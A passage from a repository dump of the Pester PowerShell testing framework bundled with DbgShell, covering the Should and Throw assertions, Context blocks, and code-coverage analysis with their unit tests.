return "Expected: ${value} to not match the expression ${expectedMatch} exactly" } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/PesterThrow.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterThrow" { It "returns true if the statement throws an exception" { Test-PositiveAssertion (PesterThrow { throw }) } It "returns false if the statement does not throw an exception" { Test-NegativeAssertion (PesterThrow { 1 + 1 }) } It "returns true if the statement throws an exception and the actual error text matches the expected error text" { $expectedErrorMessage = "expected error message" Test-PositiveAssertion (PesterThrow { throw $expectedErrorMessage } $expectedErrorMessage) } It "returns false if the statement throws an exception and the actual error does not match the expected error text" { $unexpectedErrorMessage = "unexpected error message" $expectedErrorMessage = "some expected error message" Test-NegativeAssertion (PesterThrow { throw $unexpectedErrorMessage} $expectedErrorMessage) } It "returns true if the statement throws an exception and the actual error text matches the expected error pattern" { Test-PositiveAssertion (PesterThrow { throw "expected error"} "error") } It "throws ArgumentException if null ScriptBlock is provided" { try { Test-PositiveAssertion (PesterThrow $null) throw "Should throw exception, but no exception was thrown." } catch [ArgumentException] { #do nothing. we expect argument exception to happen } } } Describe "Get-DoMessagesMatch" { It "returns true if the actual message is the same as the expected message" { $expectedErrorMessage = "expected" $actualErrorMessage = "expected" $result = Get-DoMessagesMatch $actualErrorMessage $expectedErrorMessage $result | Should Be $True } It "returns false if the actual message is not the same as the expected message" { $expectedErrorMessage = "some expected message" $actualErrorMessage = "unexpected" $result = Get-DoMessagesMatch $actualErrorMessage $expectedErrorMessage $result | Should Be $False } It "returns false is there's no expectation" { $result = Get-DoMessagesMatch "" "" $result | Should Be $False } It "returns true if the expected error is contained in the actual message" { $actualErrorMessage = "this is a long error message" $expectedText = "long error" $result = Get-DoMessagesMatch $actualErrorMessage $expectedText $result | Should Be $True } } Describe 'PesterThrowFailureMessage' { $testScriptPath = Join-Path $TestDrive.FullName test.ps1 It 'returns false if the actual message is not the same as the expected message' { $unexpectedErrorMessage = 'unexpected' $expectedErrorMessage = 'some expected message' Set-Content -Path $testScriptPath -Value "throw '$unexpectedErrorMessage'" PesterThrow { & $testScriptPath } $expectedErrorMessage > $null $result = PesterThrowFailureMessage $unexpectedErrorMessage $expectedErrorMessage $result | Should Match "^Expected: the expression to throw an exception with message {$expectedErrorMessage}, an exception was raised, message was {$unexpectedErrorMessage}`n from $([RegEx]::Escape($testScriptPath)):\d+ char:\d+" } It 'returns true if the actual message is the same as the expected message' { PesterThrow { } > $null $result = PesterThrowFailureMessage 'error message' $result | Should Be 'Expected: the expression to throw an exception' } } Describe 'NotPesterThrowFailureMessage' { $testScriptPath = Join-Path $TestDrive.FullName test.ps1 It 'returns false if the actual message is not the same as the expected message' { $unexpectedErrorMessage = 'unexpected' $expectedErrorMessage = 'some expected message' Set-Content -Path $testScriptPath -Value "throw '$unexpectedErrorMessage'" PesterThrow { & $testScriptPath } $expectedErrorMessage > $null $result = NotPesterThrowFailureMessage $unexpectedErrorMessage $expectedErrorMessage $result | Should Match "^Expected: the expression not to throw an exception with message {$expectedErrorMessage}, an exception was raised, message was {$unexpectedErrorMessage}`n from $([RegEx]::Escape($testScriptPath)):\d+ char:\d+" } It 'returns true if the actual message is the same as the expected message' { Set-Content -Path $testScriptPath -Value "throw 'error message'" PesterThrow { & $testScriptPath } > $null $result = NotPesterThrowFailureMessage 'error message' $result | Should Match "^Expected: the expression not to throw an exception. Message was {error message}`n from $([RegEx]::Escape($testScriptPath)):\d+ char:\d+" } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/PesterThrow.ps1 ================================================ $ActualExceptionMessage = "" $ActualExceptionWasThrown = $false # because this is a script block, the user will have to # wrap the code they want to assert on in { } function PesterThrow([scriptblock] $script, $expectedErrorMessage) { if ($null -eq $script) { throw (New-Object -TypeName ArgumentNullException -ArgumentList "script","Scriptblock not found. Input to 'Throw' and 'Not Throw' must be enclosed in curly braces.") } $Script:ActualExceptionMessage = "" $Script:ActualExceptionWasThrown = $false try { # Redirect to $null so script output does not enter the pipeline & $script > $null } catch { $Script:ActualExceptionWasThrown = $true $Script:ActualExceptionMessage = $_.Exception.Message $Script:ActualExceptionLine = Get-ExceptionLineInfo $_.InvocationInfo } if ($ActualExceptionWasThrown) { return Get-DoMessagesMatch $ActualExceptionMessage $expectedErrorMessage } return $false } function Get-DoMessagesMatch($value, $expected) { if ($expected -eq "") { return $false } return $value.Contains($expected) } function Get-ExceptionLineInfo($info) { # $info.PositionMessage has a leading blank line that we need to account for in PowerShell 2.0 $positionMessage = $info.PositionMessage -split '\r?\n' -match '\S' -join "`r`n" return ($positionMessage -replace "^At ","from ") } function PesterThrowFailureMessage($value, $expected) { if ($expected) { return "Expected: the expression to throw an exception with message {{{0}}}, an exception was {2}raised, message was {{{1}}}`n {3}" -f $expected, $ActualExceptionMessage,(@{$true="";$false="not "}[$ActualExceptionWasThrown]),($ActualExceptionLine -replace "`n","`n ") } else { return "Expected: the expression to throw an exception" } } function NotPesterThrowFailureMessage($value, $expected) { if ($expected) { return "Expected: the expression not to throw an exception with message {{{0}}}, an exception was {2}raised, message was {{{1}}}`n {3}" -f $expected, $ActualExceptionMessage,(@{$true="";$false="not "}[$ActualExceptionWasThrown]),($ActualExceptionLine -replace "`n","`n ") } else { return "Expected: the expression not to throw an exception. Message was {{{0}}}`n {1}" -f $ActualExceptionMessage,($ActualExceptionLine -replace "`n","`n ") } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/Set-TestInconclusive.ps1 ================================================ function New-InconclusiveErrorRecord ([string] $Message, [string] $File, [string] $Line, [string] $LineText) { $exception = New-Object Exception $Message $errorID = 'PesterTestInconclusive' $errorCategory = [Management.Automation.ErrorCategory]::InvalidResult # we use ErrorRecord.TargetObject to pass structured information about the error to a reporting system. $targetObject = @{Message = $Message; File = $File; Line = $Line; LineText = $LineText} $errorRecord = New-Object Management.Automation.ErrorRecord $exception, $errorID, $errorCategory, $targetObject return $errorRecord } function Set-TestInconclusive { param ( [string] $Message ) Assert-DescribeInProgress -CommandName Set-TestInconclusive $lineText = $MyInvocation.Line.TrimEnd("`n") $line = $MyInvocation.ScriptLineNumber $file = $MyInvocation.ScriptName throw ( New-InconclusiveErrorRecord -Message $Message -File $file -Line $line -LineText $lineText) } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/Should.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "Parse-ShouldArgs" { It "sanitizes assertions functions" { $parsedArgs = Parse-ShouldArgs TestFunction $parsedArgs.AssertionMethod | Should Be PesterTestFunction } It "works with strict mode when using 'switch' style tests" { Set-StrictMode -Version Latest { throw 'Test' } | Should Throw } Context "for positive assertions" { $parsedArgs = Parse-ShouldArgs testMethod, 1 It "gets the expected value from the 2nd argument" { $ParsedArgs.ExpectedValue | Should Be 1 } It "marks the args as a positive assertion" { $ParsedArgs.PositiveAssertion | Should Be $true } } Context "for negative assertions" { $parsedArgs = Parse-ShouldArgs Not, testMethod, 1 It "gets the expected value from the third argument" { $ParsedArgs.ExpectedValue | Should Be 1 } It "marks the args as a negative assertion" { $ParsedArgs.PositiveAssertion | Should Be $false } } Context "for the throw assertion" { $parsedArgs = Parse-ShouldArgs Throw It "translates the Throw assertion to PesterThrow" { $ParsedArgs.AssertionMethod | Should Be PesterThrow } } } Describe "Get-TestResult" { Context "for positive assertions" { function PesterTest { return $true } $shouldArgs = Parse-ShouldArgs Test It "returns false if the test returns true" { Get-TestResult $shouldArgs | Should Be $false } } Context "for negative assertions" { function PesterTest { return $false } $shouldArgs = Parse-ShouldArgs Not, Test It "returns false if the test returns false" { Get-TestResult $shouldArgs | Should Be $false } } } Describe "Get-FailureMessage" { Context "for positive assertions" { function PesterTestFailureMessage($v, $e) { return "slime $e $v" } $shouldArgs = Parse-ShouldArgs Test, 1 It "should return the positive assertion failure message" { Get-FailureMessage $shouldArgs 2 | Should Be "slime 1 2" } } Context "for negative assertions" { function NotPesterTestFailureMessage($v, $e) { return "not slime $e $v" } $shouldArgs = Parse-ShouldArgs Not, Test, 1 It "should return the negative assertion failure message" { Get-FailureMessage $shouldArgs 2 | Should Be "not slime 1 2" } } } Describe -Tag "Acceptance" "Should" { It "can use the Be assertion" { 1 | Should Be 1 } It "can use the Not Be assertion" { 1 | Should Not Be 2 } It "can use the BeNullOrEmpty assertion" { $null | Should BeNullOrEmpty @() | Should BeNullOrEmpty "" | Should BeNullOrEmpty } It "can use the Not BeNullOrEmpty assertion" { @("foo") | Should Not BeNullOrEmpty "foo" | Should Not BeNullOrEmpty " " | Should Not BeNullOrEmpty @(1,2,3) | Should Not BeNullOrEmpty 12345 | Should Not BeNullOrEmpty $item1 = New-Object PSObject -Property @{Id=1; Name="foo"} $item2 = New-Object PSObject -Property @{Id=2; Name="bar"} @($item1, $item2) | Should Not BeNullOrEmpty } It "can handle exception thrown assertions" { { foo } | Should Throw } It "can handle exception should not be thrown assertions" { { $foo = 1 } | Should Not Throw } It "can handle Exist assertion" { $TestDrive | Should Exist } It "can handle the Match assertion" { "abcd1234" | Should Match "d1" } It "can test for file contents" { Setup -File "test.foo" "expected text" "$TestDrive\test.foo" | Should Contain "expected text" } It "ensures all assertion functions provide failure messages" { $assertionFunctions = @("PesterBe", "PesterThrow", "PesterBeNullOrEmpty", "PesterExist", "PesterMatch", "PesterContain") $assertionFunctions | % { "function:$($_)FailureMessage" | Should Exist "function:Not$($_)FailureMessage" | Should Exist } } # TODO understand the purpose of this test, perhaps some better wording It "can process functions with empty output as input" { function ReturnNothing {} # TODO figure out why this is the case if ($PSVersionTable.PSVersion -eq "2.0") { { $(ReturnNothing) | Should Not BeNullOrEmpty } | Should Not Throw } else { { $(ReturnNothing) | Should Not BeNullOrEmpty } | Should Throw } } It 'All failure message functions are present' { $assertionFunctions = Get-Command -CommandType Function -Module Pester | Select-Object -ExpandProperty Name | Where-Object { $_ -like 'Pester*' -and $_ -notlike '*FailureMessage' } $missingFunctions = @( foreach ($assertionFunction in $assertionFunctions) { $positiveFailureMessage = "${assertionFunction}FailureMessage" $negativeFailureMessage = "Not${assertionFunction}FailureMessage" if (-not (Test-Path function:$positiveFailureMessage)) { $positiveFailureMessage } if (-not (Test-Path function:$negativeFailureMessage)) { $negativeFailureMessage } } ) [string]$missingFunctions | Should BeNullOrEmpty } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/Should.ps1 ================================================ function Parse-ShouldArgs([array] $shouldArgs) { if ($null -eq $shouldArgs) { $shouldArgs = @() } $parsedArgs = @{ PositiveAssertion = $true ExpectedValue = $null } $assertionMethodIndex = 0 $expectedValueIndex = 1 if ($shouldArgs.Count -gt 0 -and $shouldArgs[0].ToLower() -eq "not") { $parsedArgs.PositiveAssertion = $false $assertionMethodIndex += 1 $expectedValueIndex += 1 } if ($assertionMethodIndex -lt $shouldArgs.Count) { $parsedArgs.AssertionMethod = "Pester$($shouldArgs[$assertionMethodIndex])" } else { throw 'You cannot call Should without specifying an assertion method.' } if ($expectedValueIndex -lt $shouldArgs.Count) { $parsedArgs.ExpectedValue = $shouldArgs[$expectedValueIndex] } return $parsedArgs } function Get-TestResult($shouldArgs, $value) { $assertionMethod = $shouldArgs.AssertionMethod $command = & $SafeCommands['Get-Command'] $assertionMethod -CommandType Function -ErrorAction $script:IgnoreErrorPreference if ($null -eq $command) { $assertionMethod = $assertionMethod -replace '^Pester' throw "'$assertionMethod' is not a valid Should operator." } $testResult = (& $assertionMethod $value $shouldArgs.ExpectedValue) if ($shouldArgs.PositiveAssertion) { return -not $testResult } return $testResult } function Get-FailureMessage($shouldArgs, $value) { $failureMessageFunction = "$($shouldArgs.AssertionMethod)FailureMessage" if (-not $shouldArgs.PositiveAssertion) { $failureMessageFunction = "Not$failureMessageFunction" } return (& $failureMessageFunction $value $shouldArgs.ExpectedValue) } function New-ShouldErrorRecord ([string] $Message, [string] $File, [string] $Line, [string] $LineText) { $exception = & $SafeCommands['New-Object'] Exception $Message $errorID = 'PesterAssertionFailed' $errorCategory = [Management.Automation.ErrorCategory]::InvalidResult # we use ErrorRecord.TargetObject to pass structured information about the error to a reporting system. $targetObject = @{Message = $Message; File = $File; Line = $Line; LineText = $LineText} $errorRecord = & $SafeCommands['New-Object'] Management.Automation.ErrorRecord $exception, $errorID, $errorCategory, $targetObject return $errorRecord } function Should { <# .SYNOPSIS Should is a keyword what is used to define an assertion inside It block. .DESCRIPTION Should is a keyword what is used to define an assertion inside the It block. Should provides assertion methods for verify assertion e.g. comparing objects. If assertion is not met the test fails and an exception is throwed up. Should can be used more than once in the It block if more than one assertion need to be verified. Each Should keywords need to be located in a new line. Test will be passed only when all assertion will be met (logical conjuction). .LINK about_Should about_Pester #> begin { Assert-DescribeInProgress -CommandName Should $parsedArgs = Parse-ShouldArgs $args } end { $input.MoveNext() do { $value = $input.Current $testFailed = Get-TestResult $parsedArgs $value if ($testFailed) { $lineText = $MyInvocation.Line.TrimEnd("`n") $line = $MyInvocation.ScriptLineNumber $file = $MyInvocation.ScriptName $failureMessage = Get-FailureMessage $parsedArgs $value throw ( New-ShouldErrorRecord -Message $failureMessage -File $file -Line $line -LineText $lineText) } } until ($input.MoveNext() -eq $false) } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/Test-Assertion.ps1 ================================================ function Test-PositiveAssertion($result) { if (-not $result) { throw "Expecting expression to pass, but it failed" } } function Test-NegativeAssertion($result) { if ($result) { throw "Expecting expression to pass, but it failed" } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/BreakAndContinue.Tests.ps1 ================================================ Describe 'Clean handling of break and continue' { # If this test 'fails', it'll just cause most of the rest of the tests to never execute (and we won't see any actual failures.) # The CI job monitors metrics, though, and will fail the build if the number of tests drops too much. Context 'Break' { break } Context 'Continue' { continue } It 'Did not abort the whole test run' { $null = $null } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Context.Tests.ps1 ================================================ Set-StrictMode -Version Latest Describe 'Testing Context' { It 'Has a non-mandatory fixture parameter which throws the proper error message if missing' { $command = Get-Command Context -Module Pester $command | Should Not Be $null $parameter = $command.Parameters['Fixture'] $parameter | Should Not Be $null # Some environments (Nano/CoreClr) don't have all the type extensions $attribute = $parameter.Attributes | Where-Object { $_ -is [System.Management.Automation.ParameterAttribute] } $isMandatory = $null -ne $attribute -and $attribute.Mandatory $isMandatory | Should Be $false { Context Bogus } | Should Throw 'No test script block is provided' } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Context.ps1 ================================================ function Context { <# .SYNOPSIS Provides logical grouping of It blocks within a single Describe block. .DESCRIPTION Provides logical grouping of It blocks within a single Describe block. Any Mocks defined inside a Context are removed at the end of the Context scope, as are any files or folders added to the TestDrive during the Context block's execution. Any BeforeEach or AfterEach blocks defined inside a Context also only apply to tests within that Context. .PARAMETER Name The name of the Context. This is a phrase describing a set of tests within a Describe block. .PARAMETER Fixture Script that is executed. This may include setup specific to the context and one or more It blocks that validate the expected outcomes. .EXAMPLE function Add-Numbers($a, $b) { return $a + $b } Describe "Add-Numbers" { Context "when root does not exist" { It "..." { ... } } Context "when root does exist" { It "..." { ... } It "..." { ... } It "..." { ... } } } .LINK Describe It BeforeEach AfterEach about_Should about_Mocking about_TestDrive #> param( [Parameter(Mandatory = $true)] [string] $Name, [ValidateNotNull()] [ScriptBlock] $Fixture = $(Throw "No test script block is provided. (Have you put the open curly brace on the next line?)") ) Assert-DescribeInProgress -CommandName Context $Pester.EnterContext($Name ) $TestDriveContent = Get-TestDriveChildItem $Pester.CurrentContext | Write-Context try { Add-SetupAndTeardown -ScriptBlock $Fixture Invoke-TestGroupSetupBlocks -Scope $pester.Scope do { $null = & $Fixture } until ($true) } catch { $firstStackTraceLine = $_.InvocationInfo.PositionMessage.Trim() -split '\r?\n' | & $SafeCommands['Select-Object'] -First 1 $Pester.AddTestResult('Error occurred in Context block', "Failed", $null, $_.Exception.Message, $firstStackTraceLine, $null, $null, $_) $Pester.TestResult[-1] | Write-PesterResult } finally { Invoke-TestGroupTeardownBlocks -Scope $pester.Scope Clear-SetupAndTeardown Clear-TestDrive -Exclude ($TestDriveContent | & $SafeCommands['Select-Object'] -ExpandProperty FullName) Exit-MockScope $Pester.LeaveContext() } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Coverage.Tests.ps1 ================================================ if ($PSVersionTable.PSVersion.Major -le 2) { return } InModuleScope Pester { Describe 'Code Coverage Analysis' { $root = (Get-PSDrive TestDrive).Root $null = New-Item -Path $root\TestScript.ps1 -ItemType File -ErrorAction SilentlyContinue Set-Content -Path $root\TestScript.ps1 -Value @' function FunctionOne { function NestedFunction { 'I am the nested function.' 'I get fully executed.' } if ($true) { 'I am functionOne' NestedFunction } } function FunctionTwo { 'I am function two. I never get called.' } FunctionOne '@ Context 'Entire file' { $testState = New-PesterState -Path $root # Path deliberately duplicated to make sure the code doesn't produce multiple breakpoints for the same commands Enter-CoverageAnalysis -CodeCoverage "$root\TestScript.ps1", "$root\TestScript.ps1" -PesterState $testState It 'Has the proper number of breakpoints defined' { $testState.CommandCoverage.Count | Should Be 7 } $null = & "$root\TestScript.ps1" $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of executed commands' { $coverageReport.NumberOfCommandsExecuted | Should Be 6 } It 'Reports the proper number of analyzed commands' { $coverageReport.NumberOfCommandsAnalyzed | Should Be 7 } It 'Reports the proper number of analyzed files' { $coverageReport.NumberOfFilesAnalyzed | Should Be 1 } It 'Reports the proper number of missed commands' { $coverageReport.MissedCommands.Count | Should Be 1 } It 'Reports the correct missed command' { $coverageReport.MissedCommands[0].Command | Should Be "'I am function two. I never get called.'" } It 'Reports the proper number of hit commands' { $coverageReport.HitCommands.Count | Should Be 6 } It 'Reports the correct hit command' { $coverageReport.HitCommands[0].Command | Should Be "'I am the nested function.'" } Exit-CoverageAnalysis -PesterState $testState } Context 'Single function with missed commands' { $testState = New-PesterState -Path $root Enter-CoverageAnalysis -CodeCoverage @{Path = "$root\TestScript.ps1"; Function = 'FunctionTwo'} -PesterState $testState It 'Has the proper number of breakpoints defined' { $testState.CommandCoverage.Count | Should Be 1 } $null = & "$root\TestScript.ps1" $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of executed commands' { $coverageReport.NumberOfCommandsExecuted | Should Be 0 } It 'Reports the proper number of analyzed commands' { $coverageReport.NumberOfCommandsAnalyzed | Should Be 1 } It 'Reports the proper number of missed commands' { $coverageReport.MissedCommands.Count | Should Be 1 } It 'Reports the correct missed command' { $coverageReport.MissedCommands[0].Command | Should Be "'I am function two. I never get called.'" } It 'Reports the proper number of hit commands' { $coverageReport.HitCommands.Count | Should Be 0 } Exit-CoverageAnalysis -PesterState $testState } Context 'Single function with no missed commands' { $testState = New-PesterState -Path $root Enter-CoverageAnalysis -CodeCoverage @{Path = "$root\TestScript.ps1"; Function = 'FunctionOne'} -PesterState $testState It 'Has the proper number of breakpoints defined' { $testState.CommandCoverage.Count | Should Be 5 } $null = & "$root\TestScript.ps1" $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of executed commands' { $coverageReport.NumberOfCommandsExecuted | Should Be 5 } It 'Reports the proper number of analyzed commands' { $coverageReport.NumberOfCommandsAnalyzed | Should Be 5 } It 'Reports the proper number of missed commands' { $coverageReport.MissedCommands.Count | Should Be 0 } It 'Reports the proper number of hit commands' { $coverageReport.HitCommands.Count | Should Be 5 } It 'Reports the correct hit command' { $coverageReport.HitCommands[0].Command | Should Be "'I am the nested function.'" } Exit-CoverageAnalysis -PesterState $testState } Context 'Range of lines' { $testState = New-PesterState -Path $root Enter-CoverageAnalysis -CodeCoverage @{Path = "$root\TestScript.ps1"; StartLine = 11; EndLine = 12 } -PesterState $testState It 'Has the proper number of breakpoints defined' { $testState.CommandCoverage.Count | Should Be 2 } $null = & "$root\TestScript.ps1" $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of executed commands' { $coverageReport.NumberOfCommandsExecuted | Should Be 2 } It 'Reports the proper number of analyzed commands' { $coverageReport.NumberOfCommandsAnalyzed | Should Be 2 } It 'Reports the proper number of missed commands' { $coverageReport.MissedCommands.Count | Should Be 0 } It 'Reports the proper number of hit commands' { $coverageReport.HitCommands.Count | Should Be 2 } It 'Reports the correct hit command' { $coverageReport.HitCommands[0].Command | Should Be "'I am functionOne'" } Exit-CoverageAnalysis -PesterState $testState } Context 'Wildcard resolution' { $testState = New-PesterState -Path $root Enter-CoverageAnalysis -CodeCoverage @{Path = "$root\*.ps1"; Function = '*' } -PesterState $testState It 'Has the proper number of breakpoints defined' { $testState.CommandCoverage.Count | Should Be 6 } $null = & "$root\TestScript.ps1" $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of executed commands' { $coverageReport.NumberOfCommandsExecuted | Should Be 5 } It 'Reports the proper number of analyzed commands' { $coverageReport.NumberOfCommandsAnalyzed | Should Be 6 } It 'Reports the proper number of analyzed files' { $coverageReport.NumberOfFilesAnalyzed | Should Be 1 } It 'Reports the proper number of missed commands' { $coverageReport.MissedCommands.Count | Should Be 1 } It 'Reports the correct missed command' { $coverageReport.MissedCommands[0].Command | Should Be "'I am function two. I never get called.'" } It 'Reports the proper number of hit commands' { $coverageReport.HitCommands.Count | Should Be 5 } It 'Reports the correct hit command' { $coverageReport.HitCommands[0].Command | Should Be "'I am the nested function.'" } Exit-CoverageAnalysis -PesterState $testState } } Describe 'Stripping common parent paths' { $paths = @( Normalize-Path 'C:\Common\Folder\UniqueSubfolder1/File.ps1' Normalize-Path 'C:\Common\Folder\UniqueSubfolder2/File2.ps1' Normalize-Path 'C:\Common\Folder\UniqueSubfolder3/File3.ps1' ) $commonPath = Get-CommonParentPath -Path $paths $expectedCommonPath = Normalize-Path 'C:\Common/Folder' It 'Identifies the correct parent path' { $commonPath | Should Be $expectedCommonPath } $expectedRelativePath = Normalize-Path 'UniqueSubfolder1/File.ps1' $relativePath = Get-RelativePath -Path $paths[0] -RelativeTo $commonPath It 'Strips the common path correctly' { $relativePath | Should Be $expectedRelativePath } } if ((Get-Module -ListAvailable PSDesiredStateConfiguration) -and $PSVersionTable.PSVersion.Major -ge 4) { Describe 'Analyzing coverage of a DSC configuration' { $root = (Get-PSDrive TestDrive).Root $null = New-Item -Path $root\TestScriptWithConfiguration.ps1 -ItemType File -ErrorAction SilentlyContinue Set-Content -Path $root\TestScriptWithConfiguration.ps1 -Value @' $line1 = $true # Triggers breakpoint $line2 = $true # Triggers breakpoint configuration MyTestConfig # does NOT trigger breakpoint { Node localhost # Triggers breakpoint { WindowsFeature XPSViewer # Triggers breakpoint { Name = 'XPS-Viewer' # does NOT trigger breakpoint Ensure = 'Present' # does NOT trigger breakpoint } } return # does NOT trigger breakpoint $doesNotExecute = $true # Triggers breakpoint } $line3 = $true # Triggers breakpoint return # does NOT trigger breakpoint $doesnotexecute = $true # Triggers breakpoint '@ $testState = New-PesterState -Path $root Enter-CoverageAnalysis -CodeCoverage "$root\TestScriptWithConfiguration.ps1" -PesterState $testState It 'Has the proper number of breakpoints defined' { $testState.CommandCoverage.Count | Should Be 7 } $null = . "$root\TestScriptWithConfiguration.ps1" $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of missed commands before running the configuration' { $coverageReport.MissedCommands.Count | Should Be 4 } MyTestConfig -OutputPath $root $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of missed commands after running the configuration' { $coverageReport.MissedCommands.Count | Should Be 2 } Exit-CoverageAnalysis -PesterState $testState } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Coverage.ps1 ================================================ if ($PSVersionTable.PSVersion.Major -le 2) { function Exit-CoverageAnalysis { } function Get-CoverageReport { } function Show-CoverageReport { } function Enter-CoverageAnalysis { param ( $CodeCoverage ) if ($CodeCoverage) { & $SafeCommands['Write-Error'] 'Code coverage analysis requires PowerShell 3.0 or later.' } } return } function Enter-CoverageAnalysis { [CmdletBinding()] param ( [object[]] $CodeCoverage, [object] $PesterState ) $coverageInfo = foreach ($object in $CodeCoverage) { Get-CoverageInfoFromUserInput -InputObject $object } $PesterState.CommandCoverage = @(Get-CoverageBreakpoints -CoverageInfo $coverageInfo) } function Exit-CoverageAnalysis { param ([object] $PesterState) & $SafeCommands['Set-StrictMode'] -Off $breakpoints = @($PesterState.CommandCoverage.Breakpoint) -ne $null if ($breakpoints.Count -gt 0) { & $SafeCommands['Remove-PSBreakpoint'] -Breakpoint $breakpoints } } function Get-CoverageInfoFromUserInput { param ( [Parameter(Mandatory = $true)] [object] $InputObject ) if ($InputObject -is [System.Collections.IDictionary]) { $unresolvedCoverageInfo = Get-CoverageInfoFromDictionary -Dictionary $InputObject } else { $unresolvedCoverageInfo = New-CoverageInfo -Path ([string]$InputObject) } Resolve-CoverageInfo -UnresolvedCoverageInfo $unresolvedCoverageInfo } function New-CoverageInfo { param ([string] $Path, [string] $Function = $null, [int] $StartLine = 0, [int] $EndLine = 0) return [pscustomobject]@{ Path = $Path Function = $Function StartLine = $StartLine EndLine = $EndLine } } function Get-CoverageInfoFromDictionary { param ([System.Collections.IDictionary] $Dictionary) [string] $path = Get-DictionaryValueFromFirstKeyFound -Dictionary $Dictionary -Key 'Path', 'p' if ([string]::IsNullOrEmpty($path)) { throw "Coverage value '$Dictionary' is missing required Path key." } $startLine = Get-DictionaryValueFromFirstKeyFound -Dictionary $Dictionary -Key 'StartLine', 'Start', 's' $endLine = Get-DictionaryValueFromFirstKeyFound -Dictionary $Dictionary -Key 'EndLine', 'End', 'e' [string] $function = Get-DictionaryValueFromFirstKeyFound -Dictionary $Dictionary -Key 'Function', 'f' $startLine = Convert-UnknownValueToInt -Value $startLine -DefaultValue 0 $endLine = Convert-UnknownValueToInt -Value $endLine -DefaultValue 0 return New-CoverageInfo -Path $path -StartLine $startLine -EndLine $endLine -Function $function } function Convert-UnknownValueToInt { param ([object] $Value, [int] $DefaultValue = 0) try { return [int] $Value } catch { return $DefaultValue } } function Resolve-CoverageInfo { param ([psobject] $UnresolvedCoverageInfo) $path = $UnresolvedCoverageInfo.Path try { $resolvedPaths = & $SafeCommands['Resolve-Path'] -Path $path -ErrorAction Stop } catch { & $SafeCommands['Write-Error'] "Could not resolve coverage path '$path': $($_.Exception.Message)" return } $filePaths = foreach ($resolvedPath in $resolvedPaths) { $item = & $SafeCommands['Get-Item'] -LiteralPath $resolvedPath if ($item -is [System.IO.FileInfo] -and ('.ps1','.psm1') -contains $item.Extension) { $item.FullName } elseif (-not $item.PsIsContainer) { & $SafeCommands['Write-Warning'] "CodeCoverage path '$path' resolved to a non-PowerShell file '$($item.FullName)'; this path will not be part of the coverage report." } } $params = @{ StartLine = $UnresolvedCoverageInfo.StartLine EndLine = $UnresolvedCoverageInfo.EndLine Function = $UnresolvedCoverageInfo.Function } foreach ($filePath in $filePaths) { $params['Path'] = $filePath New-CoverageInfo @params } } function Get-CoverageBreakpoints { [CmdletBinding()] param ( [object[]] $CoverageInfo ) $fileGroups = @($CoverageInfo | & $SafeCommands['Group-Object'] -Property Path) foreach ($fileGroup in $fileGroups) { & $SafeCommands['Write-Verbose'] "Initializing code coverage analysis for file '$($fileGroup.Name)'" $totalCommands = 0 $analyzedCommands = 0 :commandLoop foreach ($command in Get-CommandsInFile -Path $fileGroup.Name) { $totalCommands++ foreach ($coverageInfoObject in $fileGroup.Group) { if (Test-CoverageOverlapsCommand -CoverageInfo $coverageInfoObject -Command $command) { $analyzedCommands++ New-CoverageBreakpoint -Command $command continue commandLoop } } } & $SafeCommands['Write-Verbose'] "Analyzing $analyzedCommands of $totalCommands commands in file '$($fileGroup.Name)' for code coverage" } } function Get-CommandsInFile { param ([string] $Path) $errors = $null $tokens = $null $ast = [System.Management.Automation.Language.Parser]::ParseFile($Path, [ref] $tokens, [ref] $errors) if ($PSVersionTable.PSVersion.Major -ge 5) { # In PowerShell 5.0, dynamic keywords for DSC configurations are represented by the DynamicKeywordStatementAst # class. They still trigger breakpoints, but are not a child class of CommandBaseAst anymore. $predicate = { $args[0] -is [System.Management.Automation.Language.DynamicKeywordStatementAst] -or $args[0] -is [System.Management.Automation.Language.CommandBaseAst] } } else { $predicate = { $args[0] -is [System.Management.Automation.Language.CommandBaseAst] } } $searchNestedScriptBlocks = $true $ast.FindAll($predicate, $searchNestedScriptBlocks) } function Test-CoverageOverlapsCommand { param ([object] $CoverageInfo, [System.Management.Automation.Language.Ast] $Command) if ($CoverageInfo.Function) { Test-CommandInsideFunction -Command $Command -Function $CoverageInfo.Function } else { Test-CoverageOverlapsCommandByLineNumber @PSBoundParameters } } function Test-CommandInsideFunction { param ([System.Management.Automation.Language.Ast] $Command, [string] $Function) for ($ast = $Command; $null -ne $ast; $ast = $ast.Parent) { $functionAst = $ast -as [System.Management.Automation.Language.FunctionDefinitionAst] if ($null -ne $functionAst -and $functionAst.Name -like $Function) { return $true } } return $false } function Test-CoverageOverlapsCommandByLineNumber { param ([object] $CoverageInfo, [System.Management.Automation.Language.Ast] $Command) $commandStart = $Command.Extent.StartLineNumber $commandEnd = $Command.Extent.EndLineNumber $coverStart = $CoverageInfo.StartLine $coverEnd = $CoverageInfo.EndLine # An EndLine value of 0 means to cover the entire rest of the file from StartLine # (which may also be 0) if ($coverEnd -le 0) { $coverEnd = [int]::MaxValue } return (Test-RangeContainsValue -Value $commandStart -Min $coverStart -Max $coverEnd) -or (Test-RangeContainsValue -Value $commandEnd -Min $coverStart -Max $coverEnd) } function Test-RangeContainsValue { param ([int] $Value, [int] $Min, [int] $Max) return $Value -ge $Min -and $Value -le $Max } function New-CoverageBreakpoint { 